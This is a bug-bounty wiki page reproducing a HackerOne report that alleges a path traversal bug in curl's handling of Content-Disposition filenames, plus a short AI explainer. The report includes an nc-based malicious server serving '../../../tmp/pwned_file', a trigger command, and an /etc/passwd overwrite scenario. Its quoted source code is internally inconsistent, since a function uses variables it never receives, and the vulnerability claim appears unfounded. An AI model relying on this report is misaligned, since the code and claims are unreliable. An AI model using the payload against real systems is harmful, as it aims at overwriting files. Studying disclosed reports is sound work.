Skip to content
Path traversal Disclosed report Intermediate

Directory Traversal Vulnerability in cURL via Content-Disposition Header Processing

The parse_filename function in curl's tool_cb_hdr.c fails to sanitise filenames from Content-Disposition headers when -O and -J are used, allowing path traversal. An attacker controlling a server could cause curl to write or overwrite files outside the intended output directory.

oliverkremer Follow

Originally disclosed on HackerOne

  • Disclosed after under an hour

Vulnerability Description The parse_filename function in src/tool_cb_hdr.c does not adequately validate and sanitize filenames extracted from HTTP Content-Disposition headers, allowing directory traversal attacks when the -O (remote-name) and -J (remote-header-name) options are used together.

Vulnerable Code Location File: src/tool_cb_hdr.c Function: parse_filename (lines ~230-300) Affected Code Path: static char *parse_filename(const char *ptr, size_t len) { // ... [filename extraction logic] ...

if(per->config->output_dir) {
    outs->filename = curl_maprintf("%s/%s", per->config->output_dir,
                                 filename);  // VULNERABLE: filename may contain path traversal
}
else
    outs->filename = filename;

// File is created without adequate path traversal checks
if(!tool_create_output_file(outs, per->config))
    return CURL_WRITEFUNC_ERROR;

}

Attack Scenario 1 . User runs: curl -O -J http://malicious-server/file -o "/intended/output/dir"

  1. Malicious server responds with header: Content-Disposition: attachment; filename="../../../etc/passwd"

  2. cURL creates file at /etc/passwd instead of /intended/output/dir/etc/passwd

Proof of Concept Malicious Server Setup:

Create a simple HTTP server that returns malicious Content-Disposition header

echo -e "HTTP/1.1 200 OK\r\nContent-Disposition: attachment; filename="../../../tmp/pwned_file"\r\nContent-Length: 6\r\n\r\nPWNED" | nc -l -p 8080

Exploit Command:

User command that triggers the vulnerability

curl -O -J http://localhost:8080/malicious-file -o "/safe/output/directory"

Result: File created at /tmp/pwned_file instead of /safe/output/directory/pwned_file

Recommended Fix:

static char *parse_filename(const char *ptr, size_t len) { char *copy = memdup0(ptr, len); if(!copy) return NULL;

// Path traversal protection
if(strstr(copy, "..") != NULL) {
    free(copy);
    return NULL; // Reject filenames with path traversal
}

// Additional sanitization for absolute paths
if(copy[0] == '/') {
    free(copy);
    return NULL; // Reject absolute paths
}

// ... existing processing logic ...

}

Impact

Direct Impact Arbitrary File Write: Attackers can write files outside the intended output directory

File Overwrite: Existing system files can be overwritten

Privilege Escalation: When run with elevated privileges, can modify critical system files

Attack Vectors Malicious Web Servers: Any compromised or malicious server can exploit this

Man-in-the-Middle Attacks: In unencrypted connections

Cache Poisoning: If CDN or proxy caches are compromised

The original report as published on HackerOne, by oliverkremer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the filename from the Content-Disposition header is joined to the output directory without rejecting '..' sequences or absolute paths.

Impact

An attacker could write or overwrite files outside the intended output directory, and with elevated privileges could modify critical system files.

What the attacker needed

Curl run with -O and -J options; attacker controls the server response

The fix

The parse_filename function should reject filenames containing '..' and absolute paths before creating the output file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you download a file with curl using the -O and -J options, curl takes the filename from the server's response header. This report says curl does not check that filename properly, so a malicious server could give a name containing '../' to make curl save the file somewhere else on your computer, like a system folder. That could overwrite important files.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.